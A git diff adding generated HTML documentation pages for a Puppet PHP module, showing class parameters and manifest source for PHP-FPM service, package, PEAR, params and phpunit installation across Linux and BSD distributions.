    +  ::php::config { 'fpm':
    +    file   => $inifile,
    +    config => $settings,
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm_3A_3Aservice.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm_3A_3Aservice.html new file mode 100644 index 000000000..8bd9175f2 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Afpm_3A_3Aservice.html @@ -0,0 +1,245 @@ + + + + + + + Puppet Class: php::fpm::service + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::fpm::service

    +
    + + +
    +
    Defined in:
    +
    + manifests/fpm/service.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Manage fpm service

    + +

    === Parameters

    + +

    [service_name] + name of the php-fpm service

    + +

    [ensure] + 'ensure' value for the service

    + +

    [enable] + Defines if the service is enabled

    + +

    [provider] + Defines if the service provider to use

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + service_name + + + (Any) + + + (defaults to: $::php::fpm::service_name) + + +
    • + +
    • + + ensure + + + (Any) + + + (defaults to: $::php::fpm::service_ensure) + + +
    • + +
    • + + enable + + + (Any) + + + (defaults to: $::php::fpm::service_enable) + + +
    • + +
    • + + provider + + + (Any) + + + (defaults to: $::php::fpm::service_provider) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +
    +
    # File 'manifests/fpm/service.pp', line 17
    +
    +class php::fpm::service(
    +  $service_name = $::php::fpm::service_name,
    +  $ensure       = $::php::fpm::service_ensure,
    +  $enable       = $::php::fpm::service_enable,
    +  $provider     = $::php::fpm::service_provider,
    +) {
    +
    +  if ! defined(Class['php::fpm']) {
    +    warning('php::fpm::service is private')
    +  }
    +
    +  $reload = "service ${service_name} reload"
    +
    +  if ($facts['os']['name'] == 'Ubuntu'
    +      and versioncmp($facts['os']['release']['full'], '12') >= 0
    +      and versioncmp($facts['os']['release']['full'], '14') < 0) {
    +    # Precise upstart doesn't support reload signals, so use
    +    # regular service restart instead
    +    $restart = undef
    +  } else {
    +    $restart = $reload
    +  }
    +
    +  service { $service_name:
    +    ensure     => $ensure,
    +    enable     => $enable,
    +    provider   => $provider,
    +    hasrestart => true,
    +    restart    => $restart,
    +    hasstatus  => true,
    +  }
    +
    +  ::Php::Extension <| |> ~> Service[$service_name]
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aglobal.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aglobal.html new file mode 100644 index 000000000..cf160e7a8 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aglobal.html @@ -0,0 +1,175 @@ + + + + + + + Puppet Class: php::global + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::global

    +
    + +
    +
    Inherits:
    +
    ::php
    +
    + + +
    +
    Defined in:
    +
    + manifests/global.pp +
    +
    +
    + +

    Overview

    +
    +
    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + inifile + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::config_root_inifile) + + +
    • + +
    • + + settings + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +
    +
    # File 'manifests/global.pp', line 14
    +
    +class php::global(
    +  Stdlib::Absolutepath $inifile = $::php::config_root_inifile,
    +  Hash $settings                = {}
    +) inherits ::php {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::global is private')
    +  }
    +
    +  # No deep merging required since the settings we have are the global settings.
    +  $real_settings = $settings
    +
    +  ::php::config { 'global':
    +    file   => $inifile,
    +    config => $real_settings,
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aglobals.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aglobals.html new file mode 100644 index 000000000..445b935ea --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aglobals.html @@ -0,0 +1,384 @@ + + + + + + + Puppet Class: php::globals + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::globals

    +
    + + +
    +
    Inherited by:
    +
    + + php::params
    + +
    +
    + +
    +
    Defined in:
    +
    + manifests/globals.pp +
    +
    +
    + +

    Overview

    +
    +
    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + php_version + + + (Optional[Pattern[/^[57].[0-9]/]]) + + + (defaults to: undef) + + +
    • + +
    • + + config_root + + + (Optional[Stdlib::Absolutepath]) + + + (defaults to: undef) + + +
    • + +
    • + + fpm_pid_file + + + (Optional[Stdlib::Absolutepath]) + + + (defaults to: undef) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +54
    +55
    +56
    +57
    +58
    +59
    +60
    +61
    +62
    +63
    +64
    +65
    +66
    +67
    +68
    +69
    +70
    +71
    +72
    +73
    +74
    +75
    +76
    +77
    +78
    +79
    +80
    +81
    +82
    +83
    +84
    +85
    +86
    +87
    +88
    +89
    +90
    +91
    +92
    +93
    +94
    +95
    +96
    +97
    +98
    +99
    +100
    +101
    +102
    +103
    +104
    +105
    +106
    +107
    +108
    +109
    +110
    +111
    +112
    +113
    +114
    +115
    +116
    +117
    +118
    +119
    +120
    +121
    +122
    +123
    +124
    +125
    +126
    +
    +
    # File 'manifests/globals.pp', line 14
    +
    +class php::globals (
    +  Optional[Pattern[/^[57].[0-9]/]] $php_version = undef,
    +  Optional[Stdlib::Absolutepath] $config_root   = undef,
    +  Optional[Stdlib::Absolutepath] $fpm_pid_file  = undef,
    +) {
    +
    +  $default_php_version = $facts['os']['family'] ? {
    +    'Debian' => $facts['os']['name'] ? {
    +      'Ubuntu' => $facts['os']['release']['full'] ? {
    +        /^(1[67].04)$/ => '7.0',
    +        default => '5.x',
    +      },
    +      default => '5.x',
    +    },
    +    default => '5.x',
    +  }
    +
    +  $globals_php_version = pick($php_version, $default_php_version)
    +
    +  case $facts['os']['family'] {
    +    'Debian': {
    +      if $facts['os']['name'] == 'Ubuntu' {
    +        case $globals_php_version {
    +          /^5\.4/: {
    +            $default_config_root  = '/etc/php5'
    +            $default_fpm_pid_file = "/var/run/php/php${globals_php_version}-fpm.pid"
    +            $fpm_error_log        = '/var/log/php5-fpm.log'
    +            $fpm_service_name     = 'php5-fpm'
    +            $ext_tool_enable      = '/usr/sbin/php5enmod'
    +            $ext_tool_query       = '/usr/sbin/php5query'
    +            $package_prefix       = 'php5-'
    +          }
    +          /^[57].[0-9]/: {
    +            $default_config_root  = "/etc/php/${globals_php_version}"
    +            $default_fpm_pid_file = "/var/run/php/php${globals_php_version}-fpm.pid"
    +            $fpm_error_log        = "/var/log/php${globals_php_version}-fpm.log"
    +            $fpm_service_name     = "php${globals_php_version}-fpm"
    +            $ext_tool_enable      = "/usr/sbin/phpenmod -v ${globals_php_version}"
    +            $ext_tool_query       = "/usr/sbin/phpquery -v ${globals_php_version}"
    +            $package_prefix       = "php${globals_php_version}-"
    +          }
    +          default: {
    +            # Default php installation from Ubuntu official repository use the following paths until 16.04
    +            # For PPA please use the $php_version to override it.
    +            $default_config_root  = '/etc/php5'
    +            $default_fpm_pid_file = '/var/run/php5-fpm.pid'
    +            $fpm_error_log        = '/var/log/php5-fpm.log'
    +            $fpm_service_name     = 'php5-fpm'
    +            $ext_tool_enable      = '/usr/sbin/php5enmod'
    +            $ext_tool_query       = '/usr/sbin/php5query'
    +            $package_prefix       = 'php5-'
    +          }
    +        }
    +      } else {
    +        case $globals_php_version {
    +          /^7/: {
    +            $default_config_root  = "/etc/php/${globals_php_version}"
    +            $default_fpm_pid_file = "/var/run/php/php${globals_php_version}-fpm.pid"
    +            $fpm_error_log        = "/var/log/php${globals_php_version}-fpm.log"
    +            $fpm_service_name     = "php${globals_php_version}-fpm"
    +            $ext_tool_enable      = "/usr/sbin/phpenmod -v ${globals_php_version}"
    +            $ext_tool_query       = "/usr/sbin/phpquery -v ${globals_php_version}"
    +            $package_prefix       = "php${globals_php_version}-"
    +          }
    +          default: {
    +            $default_config_root  = '/etc/php5'
    +            $default_fpm_pid_file = '/var/run/php5-fpm.pid'
    +            $fpm_error_log        = '/var/log/php5-fpm.log'
    +            $fpm_service_name     = 'php5-fpm'
    +            $ext_tool_enable      = '/usr/sbin/php5enmod'
    +            $ext_tool_query       = '/usr/sbin/php5query'
    +            $package_prefix       = 'php5-'
    +          }
    +        }
    +      }
    +    }
    +    'Suse': {
    +      case $globals_php_version {
    +        /^7/: {
    +          $default_config_root  = '/etc/php7'
    +          $package_prefix       = 'php7-'
    +          $default_fpm_pid_file = '/var/run/php7-fpm.pid'
    +          $fpm_error_log        = '/var/log/php7-fpm.log'
    +        }
    +        default: {
    +          $default_config_root  = '/etc/php5'
    +          $package_prefix       = 'php5-'
    +          $default_fpm_pid_file = '/var/run/php5-fpm.pid'
    +          $fpm_error_log        = '/var/log/php5-fpm.log'
    +        }
    +      }
    +    }
    +    'RedHat': {
    +      $default_config_root  = '/etc/php.d'
    +      $default_fpm_pid_file = '/var/run/php-fpm/php-fpm.pid'
    +    }
    +    'FreeBSD': {
    +      $default_config_root  = '/usr/local/etc'
    +      $default_fpm_pid_file = '/var/run/php-fpm.pid'
    +    }
    +    'Archlinux': {
    +      $default_config_root  =  '/etc/php'
    +      $default_fpm_pid_file = '/run/php-fpm/php-fpm.pid'
    +    }
    +    default: {
    +      fail("Unsupported osfamily: ${facts['os']['family']}")
    +    }
    +  }
    +
    +  $globals_config_root = pick($config_root, $default_config_root)
    +
    +  $globals_fpm_pid_file = pick($fpm_pid_file, $default_fpm_pid_file)
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Apackages.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Apackages.html new file mode 100644 index 000000000..47cf51e08 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Apackages.html @@ -0,0 +1,232 @@ + + + + + + + Puppet Class: php::packages + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::packages

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/packages.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install common PHP packages

    + +

    === Parameters

    + +

    [ensure] + Specify which version of PHP packages to install

    + +

    [names] + List of the names of the package to install

    + +

    [names_to_prefix] + List of packages names that should be prefixed with the common + package prefix $php::package_prefix

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (String) + + + (defaults to: $::php::ensure) + + +
    • + +
    • + + manage_repos + + + (Boolean) + + + (defaults to: $::php::manage_repos) + + +
    • + +
    • + + names_to_prefix + + + (Array) + + + (defaults to: prefix($::php::params::common_package_suffixes, $::php::package_prefix)) + + +
    • + +
    • + + names + + + (Array) + + + (defaults to: $::php::params::common_package_names) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +
    +
    # File 'manifests/packages.pp', line 15
    +
    +class php::packages (
    +  String $ensure         = $::php::ensure,
    +  Boolean $manage_repos  = $::php::manage_repos,
    +  Array $names_to_prefix = prefix($::php::params::common_package_suffixes, $::php::package_prefix),
    +  Array $names           = $::php::params::common_package_names,
    +) inherits ::php::params {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::packages is private')
    +  }
    +
    +  $real_names = union($names, $names_to_prefix)
    +  if $facts['os']['family'] == 'debian' {
    +    if $manage_repos {
    +      include ::apt
    +      Class['::apt::update'] -> Package[$real_names]
    +    }
    +    package { $real_names:
    +      ensure => $ensure,
    +    }
    +  } else {
    +    package { $real_names:
    +      ensure => $ensure,
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aparams.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aparams.html new file mode 100644 index 000000000..5092403db --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aparams.html @@ -0,0 +1,490 @@ + + + + + + + Puppet Class: php::params + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::params

    +
    + +
    +
    Inherits:
    +
    php::globals
    +
    + + +
    +
    Defined in:
    +
    + manifests/params.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    PHP params class

    + +
    +
    +
    + + +
    + + + + + +
    +
    +
    +
    +3
    +4
    +5
    +6
    +7
    +8
    +9
    +10
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +54
    +55
    +56
    +57
    +58
    +59
    +60
    +61
    +62
    +63
    +64
    +65
    +66
    +67
    +68
    +69
    +70
    +71
    +72
    +73
    +74
    +75
    +76
    +77
    +78
    +79
    +80
    +81
    +82
    +83
    +84
    +85
    +86
    +87
    +88
    +89
    +90
    +91
    +92
    +93
    +94
    +95
    +96
    +97
    +98
    +99
    +100
    +101
    +102
    +103
    +104
    +105
    +106
    +107
    +108
    +109
    +110
    +111
    +112
    +113
    +114
    +115
    +116
    +117
    +118
    +119
    +120
    +121
    +122
    +123
    +124
    +125
    +126
    +127
    +128
    +129
    +130
    +131
    +132
    +133
    +134
    +135
    +136
    +137
    +138
    +139
    +140
    +141
    +142
    +143
    +144
    +145
    +146
    +147
    +148
    +149
    +150
    +151
    +152
    +153
    +154
    +155
    +156
    +157
    +158
    +159
    +160
    +161
    +162
    +163
    +164
    +165
    +166
    +167
    +168
    +169
    +170
    +171
    +172
    +173
    +174
    +175
    +176
    +177
    +178
    +179
    +180
    +181
    +182
    +183
    +184
    +185
    +186
    +187
    +188
    +189
    +190
    +191
    +
    +
    # File 'manifests/params.pp', line 3
    +
    +class php::params inherits php::globals {
    +
    +  $ensure              = 'present'
    +  $fpm_service_enable  = true
    +  $fpm_service_ensure  = 'running'
    +  $composer_source     = 'https://getcomposer.org/composer.phar'
    +  $composer_path       = '/usr/local/bin/composer'
    +  $composer_max_age    = 30
    +  $pear_ensure         = 'present'
    +  $pear_package_suffix = 'pear'
    +  $phpunit_source      = 'https://phar.phpunit.de/phpunit.phar'
    +  $phpunit_path        = '/usr/local/bin/phpunit'
    +  $phpunit_max_age     = 30
    +
    +  case $facts['os']['family'] {
    +    'Debian': {
    +      $config_root             = $php::globals::globals_config_root
    +      $config_root_ini         = "${config_root}/mods-available"
    +      $config_root_inifile     = "${config_root}/php.ini"
    +      $common_package_names    = []
    +      $common_package_suffixes = ['cli', 'common']
    +      $cli_inifile             = "${config_root}/cli/php.ini"
    +      $dev_package_suffix      = 'dev'
    +      $fpm_pid_file            = $php::globals::globals_fpm_pid_file
    +      $fpm_config_file         = "${config_root}/fpm/php-fpm.conf"
    +      $fpm_error_log           = $php::globals::fpm_error_log
    +      $fpm_inifile             = "${config_root}/fpm/php.ini"
    +      $fpm_package_suffix      = 'fpm'
    +      $fpm_pool_dir            = "${config_root}/fpm/pool.d"
    +      $fpm_service_name        = $php::globals::fpm_service_name
    +      $fpm_user                = 'www-data'
    +      $fpm_group               = 'www-data'
    +      $apache_inifile          = "${config_root}/apache2/php.ini"
    +      $embedded_package_suffix = 'embed'
    +      $embedded_inifile        = "${config_root}/embed/php.ini"
    +      $package_prefix          = $php::globals::package_prefix
    +      $compiler_packages       = 'build-essential'
    +      $root_group              = 'root'
    +      $ext_tool_enable         = $php::globals::ext_tool_enable
    +      $ext_tool_query          = $php::globals::ext_tool_query
    +      $ext_tool_enabled        = true
    +
    +      case $facts['os']['name'] {
    +        'Debian': {
    +          $manage_repos = (versioncmp($facts['os']['release']['major'], '8') < 0)
    +        }
    +
    +        'Ubuntu': {
    +          $manage_repos = false
    +        }
    +
    +        default: {
    +          $manage_repos = false
    +        }
    +      }
    +    }
    +
    +    'Suse': {
    +      if ($php::globals::php_version != undef) {
    +        $php_version_major = regsubst($php::globals::php_version, '^(\d+)\.(\d+)$','\1')
    +      } else {
    +        $php_version_major = 5
    +      }
    +
    +      $config_root             = $php::globals::globals_config_root
    +      $config_root_ini         = "${config_root}/conf.d"
    +      $config_root_inifile     = "${config_root}/php.ini"
    +      $common_package_names    = ["php${php_version_major}"]
    +      $common_package_suffixes = []
    +      $cli_inifile             = "${config_root}/cli/php.ini"
    +      $dev_package_suffix      = 'devel'
    +      $fpm_pid_file            = $php::globals::globals_fpm_pid_file
    +      $fpm_config_file         = "${config_root}/fpm/php-fpm.conf"
    +      $fpm_error_log           = $php::globals::fpm_error_log
    +      $fpm_inifile             = "${config_root}/fpm/php.ini"
    +      $fpm_package_suffix      = 'fpm'
    +      $fpm_pool_dir            = "${config_root}/fpm/pool.d"
    +      $fpm_service_name        = 'php-fpm'
    +      $fpm_user                = 'wwwrun'
    +      $fpm_group               = 'www'
    +      $embedded_package_suffix = 'embed'
    +      $embedded_inifile        = "${config_root}/embed/php.ini"
    +      $package_prefix          = $php::globals::package_prefix
    +      $manage_repos            = true
    +      $root_group              = 'root'
    +      $ext_tool_enable         = undef
    +      $ext_tool_query          = undef
    +      $ext_tool_enabled        = false
    +      case $facts['os']['name'] {
    +        'SLES': {
    +          $compiler_packages = []
    +        }
    +        'OpenSuSE': {
    +          $compiler_packages = 'devel_basis'
    +        }
    +        default: {
    +          fail("Unsupported operating system ${facts['os']['name']}")
    +        }
    +      }
    +    }
    +    'RedHat': {
    +      $config_root_ini         = '/etc/php.d'
    +      $config_root_inifile     = '/etc/php.ini'
    +      $common_package_names    = []
    +      $common_package_suffixes = ['cli', 'common']
    +      $cli_inifile             = '/etc/php-cli.ini'
    +      $dev_package_suffix      = 'devel'
    +      $fpm_pid_file            = $php::globals::globals_fpm_pid_file
    +      $fpm_config_file         = '/etc/php-fpm.conf'
    +      $fpm_error_log           = '/var/log/php-fpm/error.log'
    +      $fpm_inifile             = '/etc/php-fpm.ini'
    +      $fpm_package_suffix      = 'fpm'
    +      $fpm_pool_dir            = '/etc/php-fpm.d'
    +      $fpm_service_name        = 'php-fpm'
    +      $fpm_user                = 'apache'
    +      $fpm_group               = 'apache'
    +      $apache_inifile          = '/etc/php.ini'
    +      $embedded_package_suffix = 'embedded'
    +      $embedded_inifile        = '/etc/php.ini'
    +      $package_prefix          = 'php-'
    +      $compiler_packages       = ['gcc', 'gcc-c++', 'make']
    +      $manage_repos            = false
    +      $root_group              = 'root'
    +      $ext_tool_enable         = undef
    +      $ext_tool_query          = undef
    +      $ext_tool_enabled        = false
    +    }
    +    'FreeBSD': {
    +      $config_root             = $php::globals::globals_config_root
    +      $config_root_ini         = "${config_root}/php"
    +      $config_root_inifile     = "${config_root}/php.ini"
    +      # No common packages, because the required PHP base package will be
    +      # pulled in as a dependency. This preserves the ability to choose
    +      # any available PHP version by setting the 'package_prefix' parameter.
    +      $common_package_names    = []
    +      $common_package_suffixes = ['extensions']
    +      $cli_inifile             = "${config_root}/php-cli.ini"
    +      $dev_package_suffix      = undef
    +      $fpm_pid_file            = $php::globals::globals_fpm_pid_file
    +      $fpm_config_file         = "${config_root}/php-fpm.conf"
    +      $fpm_error_log           = '/var/log/php-fpm.log'
    +      $fpm_inifile             = "${config_root}/php-fpm.ini"
    +      $fpm_package_suffix      = undef
    +      $fpm_pool_dir            = "${config_root}/php-fpm.d"
    +      $fpm_service_name        = 'php-fpm'
    +      $fpm_user                = 'www'
    +      $fpm_group               = 'www'
    +      $embedded_package_suffix = 'embed'
    +      $embedded_inifile        = "${config_root}/php-embed.ini"
    +      $package_prefix          = 'php56-'
    +      $compiler_packages       = ['gcc']
    +      $manage_repos            = false
    +      $root_group              = 'wheel'
    +      $ext_tool_enable         = undef
    +      $ext_tool_query          = undef
    +      $ext_tool_enabled        = false
    +    }
    +    'Archlinux': {
    +      $config_root_ini         = '/etc/php/conf.d'
    +      $config_root_inifile     = '/etc/php/php.ini'
    +      $common_package_names    = []
    +      $common_package_suffixes = ['cli', 'common']
    +      $cli_inifile             = '/etc/php/php.ini'
    +      $dev_package_suffix      = undef
    +      $fpm_pid_file            = '/run/php-fpm/php-fpm.pid'
    +      $fpm_config_file         = '/etc/php/php-fpm.conf'
    +      $fpm_error_log           = '/var/log/php-fpm/error.log'
    +      $fpm_inifile             = '/etc/php/php.ini'
    +      $fpm_package_suffix      = 'fpm'
    +      $fpm_pool_dir            = '/etc/php/php-fpm.d'
    +      $fpm_service_name        = 'php-fpm'
    +      $fpm_user                = 'root'
    +      $fpm_group               = 'root'
    +      $apache_inifile          = '/etc/php/php.ini'
    +      $embedded_package_suffix = 'embedded'
    +      $embedded_inifile        = '/etc/php/php.ini'
    +      $package_prefix          = 'php-'
    +      $compiler_packages       = ['gcc', 'make']
    +      $manage_repos            = false
    +      $root_group              = 'root'
    +      $ext_tool_enable         = undef
    +      $ext_tool_query          = undef
    +      $ext_tool_enabled        = false
    +    }
    +    default: {
    +      fail("Unsupported osfamily: ${facts['os']['family']}")
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Apear.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Apear.html new file mode 100644 index 000000000..29b72d5c7 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Apear.html @@ -0,0 +1,258 @@ + + + + + + + Puppet Class: php::pear + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::pear

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/pear.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install PEAR package manager

    + +

    === Parameters

    + +

    [ensure] + The package ensure of PHP pear to install and run pear auto_discover

    + +

    [package] + The package name for PHP pear

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (String) + + + (defaults to: $::php::pear_ensure) + + +
    • + +
    • + + package + + + (Optional[String]) + + + (defaults to: undef) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +54
    +55
    +56
    +57
    +58
    +59
    +60
    +61
    +62
    +63
    +64
    +
    +
    # File 'manifests/pear.pp', line 11
    +
    +class php::pear (
    +  String $ensure            = $::php::pear_ensure,
    +  Optional[String] $package = undef,
    +) inherits ::php::params {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::pear is private')
    +  }
    +
    +  # Defaults for the pear package name
    +  if $package {
    +    $package_name = $package
    +  } else {
    +    case $facts['os']['family'] {
    +      'Debian': {
    +        # Debian is a litte stupid: The pear package is called 'php-pear'
    +        # even though others are called 'php5-fpm' or 'php5-dev'
    +        $package_name = "php-${::php::params::pear_package_suffix}"
    +      }
    +      'Amazon': {
    +        # On Amazon Linux the package name is also just 'php-pear'.
    +        # This would normally not be problematic but if you specify a
    +        # package_prefix other than 'php' then it will fail.
    +        $package_name = "php-${::php::params::pear_package_suffix}"
    +      }
    +      'FreeBSD': {
    +        # On FreeBSD the package name is just 'pear'.
    +        $package_name = $::php::params::pear_package_suffix
    +      }
    +      default: {
    +        # This is the default for all other architectures
    +        $package_name = "${::php::package_prefix}${::php::params::pear_package_suffix}"
    +      }
    +    }
    +  }
    +
    +  # Default PHP come with xml module and no seperate package for it
    +  if $facts['os']['name'] == 'Ubuntu' and versioncmp($facts['os']['release']['full'], '16.04') >= 0 {
    +    ensure_packages(["${php::package_prefix}xml"], {
    +      ensure  => present,
    +      require => Class['::apt::update'],
    +    })
    +
    +    package { $package_name:
    +      ensure  => $ensure,
    +      require => [Class['::apt::update'],Class['::php::cli'],Package["${php::package_prefix}xml"]],
    +    }
    +  } else {
    +    package { $package_name:
    +      ensure  => $ensure,
    +      require => Class['::php::cli'],
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit.html new file mode 100644 index 000000000..582bc4160 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit.html @@ -0,0 +1,248 @@ + + + + + + + Puppet Class: php::phpunit + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::phpunit

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/phpunit.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install phpunit, PHP testing framework

    + +

    === Parameters

    + +

    [source] + Holds URL to the phpunit source file

    + +

    [path] + Holds path to the phpunit executable

    + +

    [auto_update] + Defines if phpunit should be auto updated

    + +

    [max_age] + Defines the time in days after which an auto-update gets executed

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + source + + + (String) + + + (defaults to: $::php::params::phpunit_source) + + +
    • + +
    • + + path + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::params::phpunit_path) + + +
    • + +
    • + + auto_update + + + (Boolean) + + + (defaults to: true) + + +
    • + +
    • + + max_age + + + (Integer) + + + (defaults to: $::php::params::phpunit_max_age) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +
    +
    # File 'manifests/phpunit.pp', line 17
    +
    +class php::phpunit (
    +  String $source             = $::php::params::phpunit_source,
    +  Stdlib::Absolutepath $path = $::php::params::phpunit_path,
    +  Boolean $auto_update       = true,
    +  Integer $max_age           = $::php::params::phpunit_max_age,
    +) inherits ::php::params {
    +
    +  if $caller_module_name != $module_name {
    +    warning('php::phpunit is private')
    +  }
    +
    +  ensure_packages(['wget'])
    +
    +  exec { 'download phpunit':
    +    command => "wget ${source} -O ${path}",
    +    creates => $path,
    +    path    => ['/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/'],
    +    require => [Class['::php::cli'],Package['wget']],
    +  }
    +  -> file { $path:
    +    mode  => '0555',
    +    owner => root,
    +    group => root,
    +  }
    +
    +  if $auto_update {
    +    class { '::php::phpunit::auto_update':
    +      max_age => $max_age,
    +      source  => $source,
    +      path    => $path,
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit_3A_3Aauto_update.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit_3A_3Aauto_update.html new file mode 100644 index 000000000..8f18a3044 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit_3A_3Aauto_update.html @@ -0,0 +1,189 @@ + + + + + + + Puppet Class: php::phpunit::auto_update + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php::phpunit::auto_update

    +
    + + +
    +
    Defined in:
    +
    + manifests/phpunit/auto_update.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Install phpunit package manager

    + +

    === Parameters

    + +

    [max_age] + Defines number of days after which phpunit should be updated

    + +

    [source] + Holds URL to the phpunit source file

    + +

    [path] + Holds path to the phpunit executable

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + max_age + + + (Any) + + + +
    • + +
    • + + source + + + (Any) + + + +
    • + +
    • + + path + + + (Any) + + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +
    +
